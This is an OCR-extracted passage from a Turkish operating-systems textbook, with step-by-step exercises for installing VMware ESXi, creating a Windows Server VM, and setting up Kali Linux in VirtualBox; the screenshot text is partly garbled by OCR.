3. Adim: Uyeligi tamamlayinca | Have an Account secenegi ile giris yapiniz (Gorsel 4.286).

Products Solutions Partners Resources Q GET STARTED

vmware

2 1

~ ~N

Product Evaluation Center for LHiavnanRccount) | | CreabeanAccount

VMware vSphere Hypervisor 8

Register to download your Free Product

Top vSphere Hypervisor Resources

Instoliation & > License & > Troubleshooting » Upgrade >
Configuration Download & Support

Gorsel 4.286: Uyelik islemleri

4. Adim: License & Download sekmesinde Download Packages bélimiinden ESXi ISO dosyasini indiriniz
[Lisans bilgisi gerektiginde License Information bolimiinden kopyalayiniz (Goérsel 4.287).].

Installation & » KL= - Troubleshooting » Upgrade $
Configuration Download & Support

Thank you for registering for VMware vSphere Hypervisor, which includes VMware ESXi and vSphere Client.

License Information

COMPONENT EXPIRATION DATE LICENSE KEYS

VMware vSphere Hypervisor 8 License

Download Packages

—| Your downloads are available below

-] VMware vSphere Hypervisor - Binaries

VMware vSphere Hypervisor (ESXi ISO) image
2023-06-0118.0Wa | 599.47 MB | iso

Boot your server with this image in order to install or upgrade to ESXi (ESXi requires 64-bit capable servers).
This ESXi image includes VVMware Tools.

Gorsel 4.287: Tip 1 hipervizor yaziliminin indirilmesi

5. Adim: indirilen disk goriintisii (ISO dosyasi) ile ESXi8.001a-21613344-standard Boot Menu
onyuklenebilir bir USB bellek hazirlayiniz. R G e e St Ve i

6. Adlm:'H.aZ|rIanan L.JSB bellegi sunucu bilgisayara takip Gorsel 4.288: ESXi kurulumunun baslatiimasi
sunucu bilgisayari yeniden baslatiniz.

Loading ESXi installer

7. Adim: Sunucu bilgisayarin BIOS ayarlarina girip ilk acilis aygitini USB B i
olarak degistiriniz. Lagtimg ROVl

Loading /EFI/BODT/cryptob4.efi
Loading /b.boB
Loading / junpstrt.gz

8. Adim: BIOS ayarlari yapilip sunucu bilgisayar yeniden basladiktan |[ESiep e
sonra kurulum ekranindan ESXi-8-standard Installer secimini yaparak g /
islemi baslatiniz (Gorsel 4.288).

Gorsel 4.289: Gerekli dosyalarin
yuklenmesi

9. Adim: Onyiikleme isleminin bitmesini bekleyiniz (Gérsel 4.289).
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10. Adim: Hos geldiniz ekraninda Enter tusuna basip, lisans sozlesmesi ekranina gecerek lisans
sozlesmesini F11 tusuyla kabul ediniz (Gorsel 4.290).

11. Adim: Disk secimini yapip Enter tusuna basiniz (Gorsel 4.291).

_ VMuare. WMuare Virtual S (mpx.ynhbaB:CO:T0:L0)

(ESC) Do not Accept (F11) Accept and Continue (Esc) Cancel (F1) Details (F5) Refresh (Enter) Continue

Gorsel 4.290: Lisans sozlesmesini onaylanmasi Gorsel 4.291: Disk seciminin yapilmasi

12. Adim: Klavye dil seg¢imini yapip Enter tusuna basiniz (Gorsel 4.292).
13. Adim: Root kullanicisinin parolasini belirleyip Enter tusuna basiniz (Gorsel 4.293).

Passuwords match.

(Esc) Cancel (F9) Back  (Enter) Continue (Esc) Cancel (F9) Back (Enter) Continue

Gorsel 4.292: Klavye dil segiminin yapilmasi Gorsel 4.293: Root parolasinin belirlenmesi

14. Adim: Konfiglirasyon ayarlarina gore kurulumu baslatmak icin F11 tusuna basiniz (Gorsel 4.294).

15. Adim: ESXi kurulumun tamamlanmasini bekleyip, kurulum tamamlandiginda Enter tusuna basarak
sunucu bilgisayari yeniden baslatiniz (Goérsel 4.295).

install

Renove the installatio a before rebooting.

(Esc) Cancel (F9) Back (F11) Install (Enter) Reboot
Gorsel 4.294: Konfiglirasyon ayarlarina gére kurulumu Gorsel 4.295: Kurulumun tamamlanmasi
baslatma

16. Adim: Sunucu bilgisayar agildiktan sonra IP adresi bilgilerinin bulundugu ekran gorintilenir. Bu
nedenle kurulum sonrasi yapilandirmalari tamamlamak igin F2 tusuna basiniz (Gorsel 4.296).

VYMuare ESKi 8.0.1 (VMKernel Release Build 21813344)
VMuare, Inc. VMuare?,l

Intel(R) Core(TH) i7-10750H CPU @ 2.68GHz
8 GiB Menory

Gorsel 4.296: Sistem yapilandirmalari
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17. Adim: Konfiglirasyon sayfasina ge¢cmek icin root parolasini Tl
glrinIZ (Gérsel 4,297), Enter an authorized login name and password for

localhost. .

Conf igured Keyboard (Turkish)

18. Adim: Ag yapilandirmalarini gerceklestirmek icin Configure | Lagin‘tame: e :
Management Network sec¢imini yapip Enter tusuna basiniz = e
(Gorsel 4.298).

<Enter> 0K <Esc> Cancel

Gorsel 4.297: Kimlik dogrulamanin

yapilmasi

Systen Custonization Conf igure Management Network
Conf igure Password Hostname :
Conf igure Lockdoun Mode localhost

onf igure Management Network IPv4 Address:

Restart Management Network 192 .168.56.103

Test Managenent Netuork

Network Restore Dptions Network identity acquired from DHCP server 192.168.56.100
Conf igure Keyboard IPv6 Addresses:

Troublesheot ing Options feB0: :20c:29ff :feae :6afe/b4

Vieu Systen Logs nmodify this host”s nanagement network settings in
=t =ss <Enter).
View Support Information

Reset Systen Configuration

<Enter> HMore <Esc> Log Out

Gorsel 4.298: Ag yonetimi ekranina gegilmesi

19. Adim: Configure Management Network ekraninda IPv4 Configuration secimini yapiniz.

20.Adim: Agilan pencerede statik IP yapilandirmasini gerceklestirip, Enter tusuna basarak yapilandirmayi
kaydediniz.

21. Adim: Esc tusu ile ag yonetimi penceresini kapatiniz (Goérsel 4.299).

1Pv4 Configuration

t can obtain netuork settings autonatically if your n
DHCP server. If it does not, the following settings

( ) Disable IPv4 configuration for management network
( ) Use dynanic IPv4 address and network configuration
(o) Set static IPv4 address and network configuration:

1Pv4 Address [ 192.168.56.103 1
Subnet Mask [ 255.255.255.0 1
Jefault Gateway [ 192.168.56.1

<Up/Doun> Select <Space> Mark Selected <Enter> OK <Esc> Cancel

Gorsel 4.299: IP bilgilerinin ayarlanmasi

22. Adim: Configure Management Network ekraninda DNS Configuration segimini yapiniz.
23. Adim: Agilan pencerede DNS IP yapilandirmasini gergeklestiriniz.
24. Adim: Hostname bilgisini belirleyip, Enter tusuna basarak yapilandirmayi kaydediniz (Gorsel 4.300).

DNS Conf igurat ion

This host can only obtain DN5S settings automatically if it also obtains
its IP configuration automatically.

( ) Obtain DNS server addresses and a hostname automatically
(0) Use the following DNS server addresses and hostname:

Primary DNS Server [ B.8.8.8 1
Alternate DNS Server [ 8.8.4.4 1
ostnane [ tintal 1

{Up/Doun> Select <Space> Mark Selected {Enter> 0K <Esc> Cancel

Gorsel 4.300: DNS ve Hostname bilgilerinin ayarlanmasi
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L
25. Adim: Configure Management Network ekraninda Custom DNS Suffixes secimini yapiniz.

26. Adim: Acilan pencerede DNS alan adi yapilandirmasini gerceklestirip, Enter tusuna basarak
yapilandirmayi kaydediniz (Goérsel 4.301).

Custom DNS Suffixes

DNS queries will attempt to locate hosts by appending the
suffixes specified here to short, ungualified names.

lUse spaces or commas to separate multiple entries.

[ tintal.kl12.tr_

<{Enter> DK <Esc> Cancel

Gorsel 4.301: DNS alan adinin ayarlanmasi

27. Adim: Configure Management Network ekraninda Esc tusu ile ag yonetimi penceresini kapatip
konfiglirasyon degisikliklerini Y (Yes) tusu ile onaylayiniz.

27. Adim: Gergeklestirilen yapilandirmalari dogrulayip IP adresini not aliniz (Gorsel 4.302).

VYMuare ESXi 8.0.1 (MMKernel Release Build 21813344)

VMuare, Inc. VYMuare?.l

Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz
8 GiB Memory

To manage this host, go to:

https://tintal/

https://192.168.56.103/ (STATIC)
https://[feB0: :20c:29ff :feae:6afel/ (STATIC)

Gorsel 4.302: IP yapilandirmalari

29. Adim: Bir istemci bilgisayarin web tarayicisinda adres gubuguna sunucu IP adresini yaziniz
[Baglantiniz gizli degil uyarisi ile karsilasma durumunda Gelismis butonuna basip, 192.168.56.103
sitesine ilerle (glivenli degil) baglantisina tiklayarak ESXi Host Client web arayiiziine erisim saglayiniz.].

30. Adim: ESXi Host Client web aray(ziinde kullanici adi ve parola bilgilerini giriniz (Gérsel 4.303).

(g3

oo

oo

vmware

ESXi Host Client™

LOGIN

Gorsel 4.303: ESXi web araytizu kullanici dogrulama
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31. Adim: ESXi Host Client web arayiziini inceleyiniz (Gorsel 4.304).

vm ESXi Host Client

root@192.168.56.103 ~ | Help ~ Q, search

[ timtal

| +@ Create/Register VM | L'JE Shut down :ﬁ Reboot | ( Refresh |

4 timtal e
o

l{_?g Get vCenter Server ﬂ' Actions

FREE: 10 3 GHz

Version: 8.0 Update 1 1%

USED: 95 MHz CAPACITY: 10.4 GHz
State: Normal (not connected to any vCenter Se...

Uptime: 0.51 days MEMORY FREE 633 GB

USED: 1.67 GB

STORAGE

USED: 0B

21%
CAPACITY: 8 GB
FREE: O B
NaN%
CAPACITY: 0B

I o No datastores have been configured on the host

d

I o You are currently using ESXi in evaluation mode. This license will expire in 60 days.

~ Hardware

Manufacturer

VMware, Inc.

Recent tasks

Task

Target

~ Initiator v

Queued v

Started

~ Result a

Gorsel 4.304: ESXi Host Client web araytzi

Bl

Completed ¥

32. Adim: ESXi Host Client web arayliziinde Manage bolimiine gecip Licensing sekmesinde Assign
license ile lisans anahtarini ekleyiniz (Gorsel 4.305).

vm ESXi Host Client

() Navigator

« B Host
[VELEGTS
Monitor

@ Virtual Machines

E Storage
@ Networking

E timtal - Manage

System Hardware

Licensing

Packages

root@192.168.56.103 v

Services

Security & users

Help +

Q Search

] Assign license

Evaluation Mode
Key:

Expiration date:

Features:

[x] Remove license

C Refresh |

£ Actions

00000-00000-00000-00000-00000

Tuesday, November 07, 2023, 22:39:56 +0300

APIs for Storage
Awareness

Big Data Extensions

Compatible with
Tanzu Kubernetes
Grid Service and
Hybrid
Infrastructure
Service

Content Library

Cross Virtual Center
vMotion

Direct Path vMotion

%Rﬁ 'H Mﬁ'msgﬁpn:

Recent tasks
Task

Decods License

v~  Target v

Mone

Storage APIs

Storage-Policy
Based Management

Unlimited virtual
SMP

vCenter agent for
VMware host

vGPU

Virtual Volumes
vShield Endpoint
vShield Zones
vSphere API

vSphere FT (up to 8
virtual CPUs)

vSphere HA

vSphere Host
Profiles

vSphere Predictive
DRS

vSphere Proactive
HA

vSphere Replication

vSphere Storage
APIs for Array
Integration

Initiator ~  Queued

root 09/08/2023 22

v Started v  Result a

09/08/2023 22__

Gorsel 4.305: Lisans anahtarinin eklenmesi

@ completed successfully

=]
v~ Completed %]

09/08/2023 22
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Hyper-V sanallastirma sistemi hakkinda bir arastirma yapiniz. Arastirma
sonuglarini rapor haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

43. UYGULAMA Sunucu isletim sistemi sanal makinesini "Tip 1" hipervizor yazilm

kullanarak asagidaki adimlar dogrultusunda olusturunuz.

1. Adim: Create / Register VM ile sanal makine olusturunuz (Gorsel 4.306).

[ g timtal - YMware ESXi ®

4

C A& Govenli degil | hitps://192.168.56.103/ui/#/host/vms

ESXi Host Client 2.168.56.103 ~ Help ~ O, Search

@ timtal - Virtual Machines

+@ Create / Register VM

£ Actions

C Refresh

Q, search

I:I Virtual machine ~ Statusx Used space ~ Guest OS ~ Host name ~ Host CPU ~ Host memory

L R e

| Quick filters. Mo items to display &

¥ Recenttasks —

Gorsel 4.306: Sanal makine olusturma

2. Adim: Create a new virtual machine sec¢imini yapiniz (Gorsel 4.307).

[@3 timtal - VMware ESXi X

+

—

< C A Givenlidegil | https://192.168.56.103/ui/#/host/vms

@ New virtual machine

I 1 Select creation type Select creation type

- . S
P G AT S GRS O !—Iow would you like to create a Virtual Machine?
¥ sElisEes ; : This option guides you through creating a new
Create a new virtual machine o opuaig YU ¢ 2k
; : virtual machine. You will be able to customize
4 Customize settings . ; i
Deploy a virtual machine from an OVF or OV... processors, memory, network connections, and
5 Ready to complete storage. You will need to install a guest

Register an existing virtual machine

operating system after creation.

CANCEL

BACK NEXT

Gorsel 4.307: Yeni sanal makine olusturma tipinin segilmesi
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3. Adim: Sanal makine adi, ESXi siriim, sanal isletim sistemi adi ve versiyonu ile ilgili bilgileri belirleyiniz

(Gorsel 4.308).

I 1 Select creation type
2 Select a name and guest OS
3 Select storage
4 Customize settings

5 Ready to complete

& New virtual machine - Windows Server (ESXi 8.0 virtual machine)

Name
Windows Server

Virtual machine names can contain up to 80 characters and they must be unique within each ESXi
instance.

Identifying the guest operating system here allows the wizard to provide the appropriate defaults for
the operating system installation.

Compatibility

ESXi 8.0 virtual machine .

Guest OS family

Windows bt

Guest OS version

Microsoft Windows Server 2022 (64-bit) b

CANCEL [ BACK ][ NEXT ]

Gorsel 4.308: Sanal isletim sistemi ile ilgili bilgilerin belirlenmesi

4. Adim: Sanal makine icin depolama alani segimini yapiniz (Gorsel 4.309).

1 Select creation type

2 Select a name and guest OS
3 Select storage

4 Customize settings

5 Ready to complete

& New virtual machine - Windows Server (ESXi 8.0 virtual machine)

Select storage

Select the storage type and datastore

Standard Persistent Memory

Select a datastore for the virtual machine's configuration files and all of its virtual disks.

Name +~ Capacity.. Free v Type ~ Thin provi¢ Access v
osserver 19.75 GB 13.65GB = VMFS6 Support... = Single
2 items
CANCEL [ BACK ]l NEXT ]

Gorsel 4.309: Depolama alaninin segilmesi
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5. Adim: Sanal makine icin CPU, bellek ve hard disk donanim yapilandirmalarini gerceklestiriniz (Gorsel
4.310).

*& New virtual machine - Windows Server (ESXi 8.0 virtual machine)

1 Select creation type Customize settings

e e e O Configure the virtual machine hardware and virtual machine additional options

3 Select storage
Virtual Hardware VM Options
4

Customize settings

5 Ready to complete () Add hard disk El Add network adapter Add other device
> {3 cru 4 Y )
4096 MB e
> @ Memory
38 GB ¥
v (Y Hard disk 1
Maximum Size 3834 GB
Location

[Win0s22] Windows Server/

BIBROWSE...

Disk Provisioning ® Thin provisioned
Thick provisioned, lazily zeroed
Thick provisicned, eagerly zeroed

shares Normal ~

CANCEL BACK NEXT

Gorsel 4.310: islemci, bellek, hard disk ayarlarinin belirlenmesi

6. Adim: Windows Server 2022 x64 ISO dosyasini web sitesinden indirip yedek depolama alaniniza
yikleyiniz.

7. Adim: Sanal makine kurulumu igin ilgili depolama alanindan Windows Server 2022 x64 1SO dosyasini
seciniz (Gorsel 4.311).

*8 New virtual machine - Windows Server (ESXi 8.0 virtual machine)

LS| Logic SAS bs x
1 Select creation type > <:_ sCS| Controller 0 9
2 Select a name and guest OS 52
128 SATA Controller 0
3 Select storage
) ) =% UsB controller 1
4 Customize settings USB 3.1 3
5 Ready to complete x
By T:l_ Network Adapter 1 VM Network Lo Connect
x
~ (&) CD/DVD Drive 1 Datastore 1SC file ~ | @ Connect
x

Status Connect at power an

OBk MEedk [osserver] SERVER_EVAL_x64FRE_en-us.iso

BROWSE...

SATA controller 0 v || SATA (0:0) v

Controller location

Default settings ad

CANCEL BACK NEXT

Gorsel 4.311: Windows Server disk goruntiisiinin segilmesi

> O video Card




ISLETIM SISTEMLERI

8. Adim: Ayarlari gézden gegirip Finish butonuna tiklayiniz.

9. Adim: Windows Server sanal makinesinin olustugunu dogrulayip Windows Server sanal makinesine
tiklayiniz (Gorsel 4.312).

I r@é timtal - VMware ESXi = _

€ 5 C A Guvenlidegil | httpsy//192.168.56.103/ui/#/host/vms W e w % 0@ :

ESXi Host Client root@192 168 56103 ~ | Help = Q, search
@ timtal - Virtual Machines
*@ Create / Register VM Console ower ar ower of 1l Suspend C Refresh £+ Actions
O\ Search

[ Virtual machine ~ Status v~ Used space v Guest OS ~ Host name ~ HostCPU ~ Host memory

(] 5‘3’ Windows Server @ Nor_ | Unknown Microsoft Windows S Unknown 0 MHz 0o MB

[Ou\ck filters 1items

Recent tasks [

Gorsel 4.312: Sanal makinenin olusturulmasi

10. Adim: Windows Server sanal makinesini Power on ile aginiz (Gorsel 4.313).

vm ESXi Host Client root@192.168.56.103 v Help ~ Q Search
4y | & windows Server
I console Monitor | > Power on 1 power off Il suspend &3 peset | # Edit | (C Refresh | & Actions
Windows Server ey
Guest OS Microsoft Windows Server 2022 (... 0 MHz
Compatibilit, ESXi 8.0 virtual machine
B Y ARUEE =
VMware Tools No oB Ll
ElEES 2 STORAGE
Memory 4GB 264.49 KB @
~ General Information
> @ Networking
> 8 VMware Tools VMware Tools is not installed ﬁ Actions
> B storage 1disk
[# Notes # Edit notes

Gorsel 4.313: Sanal makinenin baslatilmasi



4. OGRENME BiRiMmi
11. Adim: Windows Server sanal makinesi baslatildiktan sonra Console seceneginden Open browser
console secimini yapip kuruluma agilan pencereden devam ediniz (Gorsel 4.314).

|"& Windows Server

B Monitor P Pow: ‘(_) Power off 1l suspend "(:1 Reset # Edit C Refresh £ Actions
ﬂ Open browser console M 1 windows Server @ano o x | cPU
! 0 MHz

©pen console in new window |
7 Open console in new tab

Launch remote console CP
MEMORY

| =}
A Download VMRC Me| T

STORAGE
4.08 GB

= General Infermation
> @ Netwarking

> B8 VMware Tools

» B storage
& Notes

~ Performance summary last hour

Gorsel 4.314: Sunucu isletim sistemi kurulumu
12. Adim: Dil ve klavye sec¢imini yaptiktan sonra Next butonuna tiklayip, Install now butonuna tiklayarak

kuruluma baslayiniz.

13. Adim: Sunucu isletim sisteminin masaistl ekranindan calistiriimasini saglayacak sekilde strim
secimini yapip Next butonuna tiklayiniz (Gérsel 4.315).

-z

J ps Microsoft Server Operating System Setup
Select the operating system you want to install

Operating system Architecture Date modified

Windows Server 2022 Standard Evaluation 54 3/3

tandard Evaluation (Desktop Experien

Windows Server 2022 Datacenter Evaluation B4 3/3/2022
Windows Server 2022 Datacenter Evaluation (Desktop Experni w4 3/3/2022

Description
This option installs the full Windows graphical environment, consuming extra drive space. It can be
useful if you want to use the Windows desktop or have an app that requires it

Gorsel 4.315: isletim sistemi siirimiiniin segilmesi
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14. Adim: Lisans sOzlesmesi penceresinde onay verip Next butonuna tiklayiniz (Gorsel 4.316).

@ é Microsoft Server Operating System Setup

Applicable notices and license terms

YOU MUST ACCEPT THE SOFTWARE LICENSE TERMS. SEE BELOW. A
Please read the full license terms provided at (aka.ms/useterms).

IMPORTANT NOTICE

Diagnostic and Usage Information. Microsoft collects this information
over the Internet to help keep Windows secure and up to date,
troubleshoot problems, and make product improvements, and may
associate the information with your organization. Microsoft server
operating systems can be configured to turn diagnostic data off, send
Required diagnostic data, or send Optional diagnostic data. The default
setting is to send Required diagnostic data. Required diagnostic data
includes information to help keep the device secure, up-to-date, and
working as expected.

E]l accept the Microsoft Software License Terms. If an organization is licensing it, I am authorized
to bind the organization.

Next

Gorsel 4.316: Lisans s6zlesmesinin onaylanmasi

15. Adim: Yeni bir isletim sistemi kurulumu yapmak igin Custom sec¢imini yapiniz (Gorsel 4.317).

@ ) Microsoft Server Operating System Setup e

Which type of installation do you want?

Upgrade: Install Microsoft Server Operating System and keep files, settings, and
applications

The files, settings, and applications are moved to the new operating system with this option. This
option is only available when a supported version of the operating system is already running on
the computer.

Custom: Install Microsoft Server Operating System only (advanced)
The files, settings, and applications aren't mo
s to partitions and drives, start the computer using the installation disc
We recommend backing up your files before you continue

ved to the new operating system with this option. If

you want to make chang

Gorsel 4.317: Kurulum tipinin secilmesi

16. Adim: Sunucu isletim sisteminin kurulacagi siirlicliyl secip, isletim sisteminin kurulabilmesi igin
New butonuna tiklayarak diskin bélimlendirilmesini saglayiniz.

17. Adim: Next butonuna tiklayiniz (Gorsel 4.318).
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@ ) Microsoft Server Operating System Setup

Where do you want to install the operating system?

Name Total size Free space Type
~ Drive 0 Unallocated Space 38.0GB 38.0GB s
W 4
+4 Refresh % Delete & Format I New
€* Load driver j Extend

Gorsel 4.318: Kurulum yapilacak strticiiniin segilmesi
18. Adim: Apply butonuna tiklayarak diskin bélimlendirilmesini saglayiniz.

19. Adim: Primary bolimiini secip Next butonuna tiklayiniz (Gorsel 4.319).

@ ¢ Microsoft Server Operating System Setup
Where do you want to install the operating system?
Name Total size Free space Type

r'__i? Drive 0 Partition 1 1000 MB 950 MB System

f_._i.—/ Drive 0 Partition 2 16.0 MB 160 MB MSR (Reserved)
|‘_'-:i7 Drive 0 Partition 3 379GB 379GB Primary

+4 Refresh 7< Delete &” Format New

&* Load driver j Extend

Gorsel 4.319: Sunucu isletim sisteminin kurulacagi stirtici bélimiiniin segilmesi

20. Adim: Kurulum yapilirken bekleyiniz (Gorsel 4.320).

| w‘

ﬁ Microsoft Server Operating System Setup

Installing Microsoft Server Operating System

Status

/' Copying Microsoft Server Operating System files
Getting files ready for installation (0%)
Installing features
Installing updates
Finishing up

Gorsel 4.320: Kurulumun gerceklesmesi
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21. Adim: Yonetici parolasini belirleyip Finish butonuna tiklayiniz (Gorsel 4.321).

IZ1 Windows Server O & O = £ Actions X

Customize settings

Type a password for the built-in administrator account that you can use to sign in to this computer.
User name

3y

Gorsel 4.321: Yonetici parolasinin belirlenmesi
22. Adim: Kurulumun tamamlandigini sisteme giris ekrani ile dogrulayiniz.
23. Adim: Ctrl + Alt + Delete ile yonetici girisini aginiz.

24. Adim: Sunucu isletim sisteminin masadstlinii ve Server Manager yonetim konsolunu inceleyiniz
(Gorsel 4.322).

ESXi Host Client

@ Windows Server

L console E4 Monitor P Power on 1) Power off Suspend A Edit | Refresh | Actions
L

1 wWindows Server EE0O=

WELCOME TO SERVER MANAGER

WHATS HEW

= General Information
AR RS
> @ Networking

> B3 VMware Tools 3 ROLES AND SERVER GROUPS
> B storage i g Fle and Storage

Services

[ Notes @ ran

= Performance summary last hour

Gorsel 4.322: Sanal sunucu isletim sistemi masausti ekrani

44. UYGULAMA Kali Linux sanal makinesini "Tip 2" hipervizoér yazilm kullanarak
asagidaki adimlar dogrultusunda olusturunuz.

1. Adim: Sanallastirma yazilimini indirip (Goérsel 4.323) kurulum dosyasini ¢alistirarak sanallastirma
yazilimini kurunuz.
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0X =

ercihler
Ana sayfa  lIgerik  Gegmis

Welcome to VirtualBox.org!

About
Erasniahian VirtualBox Is a powerful x86 and AMDE4/Inteléd virtualization preduct for
enterprise as well as home use. Not only is VirtualBox an extremely News Flash
el feature rich, high e product for [ it is also
Pomiioens the only professional solution that is freely available as Open Source . EJ:‘& 1:‘3"2:“
Documentation Software under the terms of the GNU General Public License (GPL) nlo:: T
End-user docs wversion 3. See "About VirtualBox" for an introduction. Oracle today released a 7.0
maintenance refease which
Technical docs Presently, VirtualBox runs on Windows, Linux, mac0S, and Solaris hosts imgraves stability and fixes
and supports a large number of guest operating systems including but regressions. See the
Contribute not limited to Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows Changelog for datalls.
Communi 7, Wi 8, Wi 10), DOS/ 3.x, Linux (2.4, 2.6, 3xand | - [EE July 18th, 2023
N 4.x), Solaris and OpenSolaris, 05/2, and OpenBSD. ARE(MiDu &:140

Oracle today released a 6.1
maintenance release which
improves stability and fixes

VirtualBox is being actively developed with frequent releases and has an
ever growing list of features, supported guest operating systems and

platforms it runs on. VirtualBox is a community effort backed by a regrassions, See the
dedicated company: everyone is encouraged to contribute while Oracle Changelog for details.
ensures the product always meets professional guality criteria, « [ April 18th, 2023

VirtualBox 7.0.8 reieased!
Oracle today released a 7.0
maintenance release which
Down |0ad imgraves stability and fives
regressians. See the
Changalog for datails.

VirtualBox 7.0 JE-E5

rel
Oracle today released a 6.1
maintenance release which

. i il
Hot picks: impeoises aabiky wnd s
= Pre-built virtual machines for developers at -+ Oracle Tech Network Changelog for details.
+ Hyperbox Open-source Virtual Infrastructure Manager — project site | « [ January 17th, 2023
+ php 1 AJAX web interf, ‘project site VirtualBox 7.0.6 released!

Gorsel 4.323: Sanallastirma yazihmi

2. Adim: Sanallastirma yazilimini agip sanal makine eklemek igin Yeni butonuna tiklayiniz (Gorsel 4.324).

Dosya  Makine Yardim

U‘i\J Araglar

Yeni Ekle Ayarlar Vazgec Baglat

—— | | Genel
L Ad: . —
Isletim Sistemi:  Other/Unknawn
Pp—— | ] sistem
. Ana Ballck: 1024 MB
Onytikleme Sirasi: - Disket, Optik, Sabit Disk
F— | Hizlandirma: g Ige Disk Bellegi
- | M| Exran
Garanti Bellegi: 9 MB
Grafik Denatleyicisi: VBoxVGA
| —
:“ Uzak Masaiistii Sunucusu: ~ Etidsizlestirildi
Kayit: Etiasizlestirildi
| & Depolama
- - —
o Denetleyici: IDE

IDE Birincil Aygrt 0: S ol " S0 o
[DE Tkincil Aygrt 0: ] . — - (177

- o - =
‘ 1 Kaydedidh ‘ 1 Ses

Gorsel 4.324: Yeni sanal makine olusturma

3. Adim: Sanal makine adi ve isletim sistemi bilgilerini girip (Gérsel 4.325) ileri butonuna tiklayiniz.

sanal Makine Adi ve isletim Sistemi

Lutfen yeni sanal makine icin aciklayia bir ad ve hedef Klasor secin. Secliginiz ad bu makineyi tarimlamak igin
VirtualBox genelinde kullanilacakbr. Ilave olarak, misaifr isletim sistemini yiklemek icin kullanilabilecek bir [SO
kalibr segebilirsiniz.

Ad: Kali Linux 2023.2 | @
Klasor: | C:\Users\SINIF BWirlualBox VMs > |
150 Kalibi:  <secimedis - |
Dilzenleme:
Tur: Linux

Strum: Linux 2.6 f 3.x / 4%/ 5.x (64-bit)

Katiimsiz Kurulumu atla

(@) secilen 1SO kalibi yok, misafir 1S'nin el lle yikienmesi gerekecek.

iptal

| Yardm  Uzman Kipi Gn [ ®

Gorsel 4.325: Sanal makine adi ve isletim sistemi belirleme
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4. Adim: Donanim ayarlarini yapip (Gorsel 4.326) ileri butonuna tiklayiniz.

Y sanal Makine Olustur

Donanim

Bellek miktarini ve sanal islemd sayisini deijistirerek sanal makinenin donanimini

degigtiebiliisiniz. EFT'yi etidnlegtirmek de mumkundur.

Ana Bellek L] e e oo v [
4 MB 32768 MB

istemcilar: ¥ . B

1 islemel 12 Iglemei

[ EF1 athinlestit{yainizca &zel iSleri)

Yardim G [ ten || pw

Gorsel 4.326: Donanim ayarlarini yapma

5. Adim: Sanal sabit disk ayarini yapip (Gorsel 4.327) ileri butonuna tiklayiniz.

Y sanal Makine Olustur

Sanal Sabit Disk

Eder sterseniz yeni makineye sanal bir sabit disk ekleyebiliisiniz. Ya yeni bir sabit disk dosyas:
alusturabili ya da varolan bir sabit disk dosyas secebilirsiniz. Alternalif olarak, sanal sabit disk
olmadan bir sanal makine olugturabilirsiniz

(®) Simdi Sanal Bir Sabit Disk Olustur
Disk Boyulu el e S e 54,12 GB
4,00 MB 20078
O Tam Boyutu dnceden ayir

O Warolan Sanal Bir Sahit Disk Dosyas) Kullan

(O Sanal Bir Sabit Disk Fkleme

Yardim Goi | len ‘ Iptal

Gorsel 4.327: Sanal sabit disk ayarini yapma
6. Adim: Ozeti inceleyip (Gérsel 4.328) Bitir butonuna tiklayiniz.

' Sanal Makine Olustur

Ozet

Agaddaki tablo, yeni sanal makine icin sectiginiz yapilandirmay ozetler. Yapilandimadan
mermnun olduijunuzds, sanal makineyi olusturmak icin Bitir'e basin. Alternatif olarak, geri
donebilir ve yaplandirmay: dedistirebilirsiniz

. Makine Adi ve IS Tiirii
Makine Ad Kali Linux 2023.2

Makine Klasori C:fUsers/SINIF-B/¥irtualBox VMs/Kali Linux 2023.2
150 Kalitn
Wigafir 15 Turt Linux 2.6 { 3% { 4.x { 5.% (64-bit)
i Donamm
Ana Bellek 4096
Tslemci 3
EF Cikin false
2/ Disk
Disk Boyutu 54,12 GB

Tam Boyutu Onceden Ayir false

Yardim Gen | mor o [ il

Gorsel 4.328: Sanal makine Ozetini inceleme

7. Adim: Bilgisayarinizda Kali Linux isletim sistemi ISO dosyasi yoksa kali.org web sitesinden indiriniz.

8. Adim: Ayarlar butonuna tiklayip, Depolama kismindan Kali Linux ISO dosyasini ekleyerek Tamam
butonuna tiklayiniz.
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9. Adim: ISO secimi bitince Baslat butonuna tiklayarak Kali Linux kurulumuna baslayiniz (Gorsel 4.329).

z 2 ok Y
3 = =
g o v -

Yeni Ekle  Ayarlar  Vazgec Baglat
H Genel
Ad: Kali Limnx 2023.2
Igletim Sistemiz  Linux 2.6 / 3.x [ 4.x { 5.x (64-bit)
B sistem
Ana Bellek: 09 MB:
islemciz 3
Onytkleme Sirasi: - Disket, Optik, Sabit Disk
Hirlandirma: ic Ige Disk Belledi, KVM Yar Sanallaghrma

2 Kali Linux 2023.2 - Ay

W cee Depolama
B sistem Depolama Aygitlan Oznitelikler
i e 4N Denetleyici: IDE Optik Surticu: - IDE TKineil Ayait 0 1@
- =) kali-linux-2023. 2Za installer -a... [ Canhi CO/BVD
hed Do & Denetleyici: SATA Bilgiler
(i)_ Ses i) Kali Linux 2023.2.ve HDIV:‘JIf T(":w
il Ay Yer: C'\Us\el\s.\\SINII' B\Desklop\OB Isletim sist),

Suna takl:
:’ o Seri B.Noktalan

7 ousk
| Payiagilan Klasorler

Kullarie Araytizti

[
i

| Tamam ‘ iptal Yardim

Gorsel 4.329: Kali Linux ISO dosyasini segme

9. Adim: Kali Linux kurulum adimlarini tamamlayarak isletim sistemini calisir hale getiriniz (Gorsel
4.330).

KINTINTINUK!

"the quieter you become, the more you are able to hear”

L [FECY P oghe corera_|

Gorsel 4.330: Sanal makinenin ¢alismasi



ISLETIM SISTEMLERI

Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

Arch Linux isletim sistemi kurulumu igin ISO dosyasini indiriniz.

Arch Linux isletim sistemini "Tip 1" hipervizor yazilimi kullanarak sanallastiriniz.

Parrot Security isletim sistemi kurulumu i¢in ISO dosyasini indiriniz.

Parrot Security isletim sistemini "Tip 2" hipervizor yazilimi kullanarak sanallastiriniz.

45. UYGULAMA Tip 2 hipervizor yaziliminda sanal makine islemlerini asagidaki
adimlar dogrultusunda olusturunuz.

1. Adim: OVA uzantili bir sanal makine imaji edininiz.

2. Adim: Araglar meniisiinde bulunan ige Aktar butonuna tiklayip OVA uzantili imaji seciniz (Gorsel
4.331).

Y Oracle VM VirtualBox Yoneticisi

Dosya Makine Yardim

il Y e

Araglar / G -d— [ 4
Tercihler  Ice Aktar Diga Aktar  Yeni  Ekle

B

i
